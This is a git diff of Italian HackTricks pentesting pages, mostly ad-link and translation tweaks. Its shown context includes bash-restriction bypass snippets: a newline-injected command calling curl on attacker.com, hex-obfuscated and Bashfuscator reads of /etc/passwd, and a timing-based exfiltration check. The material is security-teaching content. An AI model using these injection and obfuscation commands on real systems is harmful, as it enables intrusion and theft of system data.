* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli **strumenti della comunità più avanzati al mondo**.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti **comunitari più avanzati** al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %}
**Pagine interessanti da controllare:** **Pagine interessanti da controllare:**
* [**Trucchi di hacking di Pyscript**](pyscript.md) * [**Trucchi di hacking di Pyscript**](pyscript.md)
* [**Deserializzazioni Python**](../../pentesting-web/deserialization/#python) * [**Deserializzazioni di Python**](../../pentesting-web/deserialization/#python)
* [**Trucchi per aggirare i sandbox di Python**](bypass-python-sandboxes/) * [**Trucchi per aggirare i sandbox di Python**](bypass-python-sandboxes/)
* [**Sintassi di base delle richieste web in Python**](web-requests.md) * [**Sintassi di base delle richieste web in Python**](web-requests.md)
* [**Sintassi di base di Python e librerie**](basic-python.md) * [**Sintassi di base di Python e librerie**](basic-python.md)
@ -33,10 +33,10 @@ Ottieni l'accesso oggi:
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli **strumenti della comunità più avanzati al mondo**.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti **comunitari più avanzati** al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %}
<details> <details>
@ -44,10 +44,10 @@ Ottieni l'accesso oggi:
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>

View file

@ -2,7 +2,7 @@
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
@ -17,10 +17,10 @@ Altri modi per supportare HackTricks:
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti **comunitari più avanzati** al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità **più avanzati al mondo**.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %}
### Browser ### Browser
@ -54,7 +54,7 @@ Se non viene trovato nulla, prova a cercare la tecnologia utilizzata su [https:/
### Vulners ### Vulners
Puoi anche cercare nel database di Vulners: [https://vulners.com/](https://vulners.com) Puoi anche cercare nel database di vulners: [https://vulners.com/](https://vulners.com)
### Sploitus ### Sploitus
@ -63,21 +63,21 @@ Questo cerca exploit in altri database: [https://sploitus.com/](https://sploitus
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %}
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family) * Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>

View file

@ -2,25 +2,25 @@
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità **più avanzati al mondo**.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=bypass-bash-restrictions) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti comunitari **più avanzati** al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %}
## Elusioni delle Limitazioni Comuni ## Elusioni delle Limitazioni Comuni
@ -150,7 +150,7 @@ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
# Decimal IPs # Decimal IPs
127.0.0.1 == 2130706433 127.0.0.1 == 2130706433
``` ```
### Esfiltrazione di dati basata sul tempo ### Esfiltrazione dei dati basata sul tempo
```bash ```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
``` ```
@ -229,6 +229,8 @@ if [ "a" ]; then echo 1; fi # Will print hello!
1%0a`curl http://attacker.com` 1%0a`curl http://attacker.com`
``` ```
### Bashfuscator ### Bashfuscator
Il **Bashfuscator** è uno strumento che consente di rendere illeggibile uno script Bash, complicandone la comprensione e la rilevazione da parte di strumenti di sicurezza.
```bash ```bash
# From https://github.com/Bashfuscator/Bashfuscator # From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd' ./bashfuscator -c 'cat /etc/passwd'
@ -339,10 +341,10 @@ Se ti trovi all'interno di un filesystem con le **protezioni di sola lettura e n
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=bypass-bash-restrictions) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %}
<details> <details>
@ -350,7 +352,7 @@ Ottieni l'accesso oggi:
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -6,25 +6,25 @@
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare flussi di lavoro** con gli strumenti della comunità più avanzati al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) per creare e **automatizzare flussi di lavoro** con gli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
## **Sicurezza di Base del Motore Docker** ## **Sicurezza di Base del Motore Docker**
Il **motore Docker** utilizza i **Namespaces** e **Cgroups** del kernel Linux per isolare i container, offrendo uno strato di sicurezza di base. Una protezione aggiuntiva è fornita tramite **Capabilities dropping**, **Seccomp**, e **SELinux/AppArmor**, migliorando l'isolamento del container. Un **plugin di autenticazione** può limitare ulteriormente le azioni dell'utente. Il **motore Docker** utilizza i **Namespaces** e **Cgroups** del kernel Linux per isolare i container, offrendo uno strato di sicurezza di base. Una protezione aggiuntiva è fornita tramite il **dropping delle Capabilities**, **Seccomp**, e **SELinux/AppArmor**, migliorando l'isolamento del container. Un **plugin di autenticazione** può limitare ulteriormente le azioni dell'utente.
![Sicurezza di Docker](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png) ![Sicurezza di Docker](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
@ -37,7 +37,7 @@ Il motore Docker, per impostazione predefinita, è in ascolto sul socket Unix a
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart sudo service docker restart
``` ```
Tuttavia, esporre il demone Docker su HTTP non è consigliato a causa di preoccupazioni per la sicurezza. È consigliabile proteggere le connessioni utilizzando HTTPS. Ci sono due approcci principali per garantire la connessione: Tuttavia, esporre il demone Docker su HTTP non è consigliato a causa di preoccupazioni per la sicurezza. È consigliabile proteggere le connessioni utilizzando HTTPS. Ci sono due approcci principali per garantire la sicurezza della connessione:
1. Il client verifica l'identità del server. 1. Il client verifica l'identità del server.
2. Sia il client che il server si autenticano reciprocamente. 2. Sia il client che il server si autenticano reciprocamente.
@ -54,7 +54,7 @@ Le immagini dei container possono essere memorizzate in repository privati o pub
### Scansione delle immagini ### Scansione delle immagini
I container possono presentare **vulnerabilità di sicurezza** sia a causa dell'immagine di base sia a causa del software installato sopra l'immagine di base. Docker sta lavorando a un progetto chiamato **Nautilus** che esegue la scansione di sicurezza dei container e elenca le vulnerabilità. Nautilus funziona confrontando ciascuno strato dell'immagine del container con il repository delle vulnerabilità per identificare falle di sicurezza. I container possono presentare **vulnerabilità di sicurezza** a causa dell'immagine di base o del software installato sopra l'immagine di base. Docker sta lavorando a un progetto chiamato **Nautilus** che esegue la scansione di sicurezza dei container e elenca le vulnerabilità. Nautilus funziona confrontando ciascuno strato dell'immagine del container con il repository delle vulnerabilità per identificare falle di sicurezza.
Per ulteriori [**informazioni leggi questo**](https://docs.docker.com/engine/scan/). Per ulteriori [**informazioni leggi questo**](https://docs.docker.com/engine/scan/).
@ -90,11 +90,11 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
``` ```
### Firma delle immagini Docker ### Firma delle immagini Docker
La firma delle immagini Docker garantisce la sicurezza e l'integrità delle immagini utilizzate nei container. Ecco una spiegazione sintetizzata: La firma delle immagini Docker garantisce la sicurezza e l'integrità delle immagini utilizzate nei contenitori. Ecco una spiegazione sintetica:
- **Docker Content Trust** utilizza il progetto Notary, basato su The Update Framework (TUF), per gestire la firma delle immagini. Per ulteriori informazioni, consulta [Notary](https://github.com/docker/notary) e [TUF](https://theupdateframework.github.io). - **Docker Content Trust** utilizza il progetto Notary, basato su The Update Framework (TUF), per gestire la firma delle immagini. Per ulteriori informazioni, consulta [Notary](https://github.com/docker/notary) e [TUF](https://theupdateframework.github.io).
- Per attivare la fiducia nei contenuti di Docker, imposta `export DOCKER_CONTENT_TRUST=1`. Questa funzionalità è disattivata per impostazione predefinita nelle versioni di Docker 1.10 e successive. - Per attivare la fiducia nei contenuti di Docker, imposta `export DOCKER_CONTENT_TRUST=1`. Questa funzionalità è disattivata per impostazione predefinita nelle versioni di Docker dalla 1.10 in poi.
- Con questa funzionalità abilitata, è possibile scaricare solo immagini firmate. Il caricamento iniziale dell'immagine richiede di impostare passphrase per le chiavi di root e di tag, con Docker che supporta anche Yubikey per una sicurezza potenziata. Ulteriori dettagli possono essere trovati [qui](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). - Con questa funzionalità abilitata, è possibile scaricare solo immagini firmate. Il caricamento iniziale dell'immagine richiede di impostare passphrase per le chiavi radice e di tag, con Docker che supporta anche Yubikey per una sicurezza potenziata. Ulteriori dettagli possono essere trovati [qui](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Tentare di scaricare un'immagine non firmata con la fiducia nei contenuti abilitata porta a un errore "Nessun dato di fiducia per l'ultima versione". - Tentare di scaricare un'immagine non firmata con la fiducia nei contenuti abilitata porta a un errore "Nessun dato di fiducia per l'ultima versione".
- Per i caricamenti delle immagini successivi al primo, Docker richiede la passphrase della chiave del repository per firmare l'immagine. - Per i caricamenti delle immagini successivi al primo, Docker richiede la passphrase della chiave del repository per firmare l'immagine.
@ -109,10 +109,10 @@ Quando si passa da un host Docker all'altro, è necessario spostare le chiavi di
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
## Funzionalità di Sicurezza dei Container ## Funzionalità di Sicurezza dei Container
@ -122,13 +122,13 @@ Ottieni l'accesso oggi:
**Principali Funzionalità di Isolamento dei Processi** **Principali Funzionalità di Isolamento dei Processi**
Negli ambienti containerizzati, isolare i progetti e i loro processi è fondamentale per la sicurezza e la gestione delle risorse. Ecco una spiegazione semplificata dei concetti chiave: In ambienti containerizzati, isolare i progetti e i loro processi è fondamentale per la sicurezza e la gestione delle risorse. Ecco una spiegazione semplificata dei concetti chiave:
**Namespaces** **Namespaces**
* **Scopo**: Garantire l'isolamento delle risorse come processi, rete e filesystem. In particolare in Docker, i namespaces mantengono separati i processi di un container dall'host e dagli altri container. * **Scopo**: Garantire l'isolamento delle risorse come processi, rete e filesystem. In particolare in Docker, i namespaces mantengono separati i processi di un container dall'host e dagli altri container.
* **Utilizzo di `unshare`**: Il comando `unshare` (o la syscall sottostante) viene utilizzato per creare nuovi namespaces, fornendo un ulteriore livello di isolamento. Tuttavia, mentre Kubernetes non blocca questo concetto in modo innato, Docker lo fa. * **Utilizzo di `unshare`**: Il comando `unshare` (o la syscall sottostante) viene utilizzato per creare nuovi namespaces, fornendo un ulteriore livello di isolamento. Tuttavia, mentre Kubernetes non blocca questo concetto in modo innato, Docker lo fa.
* **Limitazione**: La creazione di nuovi namespaces non consente a un processo di tornare ai namespaces predefiniti dell'host. Per penetrare nei namespaces dell'host, di solito è necessario accedere alla directory `/proc` dell'host, utilizzando `nsenter` per l'ingresso. * **Limitazione**: Creare nuovi namespaces non consente a un processo di tornare ai namespaces predefiniti dell'host. Per penetrare nei namespaces dell'host, di solito è necessario accedere alla directory `/proc` dell'host, utilizzando `nsenter` per l'ingresso.
**Gruppi di Controllo (CGroups)** **Gruppi di Controllo (CGroups)**
@ -150,14 +150,14 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
**Seccomp** **Seccomp**
È abilitato per impostazione predefinita in Docker. Aiuta a **limitare ulteriormente le chiamate di sistema** che il processo può effettuare.\ È abilitato per impostazione predefinita in Docker. Aiuta a **limitare ulteriormente le syscalls** che il processo può chiamare.\
Il **profilo Seccomp predefinito di Docker** può essere trovato in [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) Il **profilo Seccomp predefinito di Docker** può essere trovato in [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
**AppArmor** **AppArmor**
Docker ha un modello che puoi attivare: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) Docker ha un modello che puoi attivare: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
Questo permetterà di ridurre le capacità, le chiamate di sistema, l'accesso ai file e alle cartelle... Questo permetterà di ridurre le capacità, le syscalls, l'accesso ai file e alle cartelle...
</details> </details>
@ -202,7 +202,7 @@ Per ulteriori informazioni controlla:
Le capacità consentono un **controllo più preciso delle capacità che possono essere consentite** per l'utente root. Docker utilizza la funzionalità di capacità del kernel Linux per **limitare le operazioni che possono essere eseguite all'interno di un contenitore** indipendentemente dal tipo di utente. Le capacità consentono un **controllo più preciso delle capacità che possono essere consentite** per l'utente root. Docker utilizza la funzionalità di capacità del kernel Linux per **limitare le operazioni che possono essere eseguite all'interno di un contenitore** indipendentemente dal tipo di utente.
Quando viene eseguito un contenitore Docker, il **processo elimina le capacità sensibili che il processo potrebbe utilizzare per sfuggire all'isolamento**. Questo tenta di garantire che il processo non sarà in grado di eseguire azioni sensibili e di sfuggire: Quando viene eseguito un contenitore Docker, il **processo elimina le capacità sensibili che il processo potrebbe utilizzare per sfuggire all'isolamento**. Questo tenta di garantire che il processo non sarà in grado di eseguire azioni sensibili e di fuga:
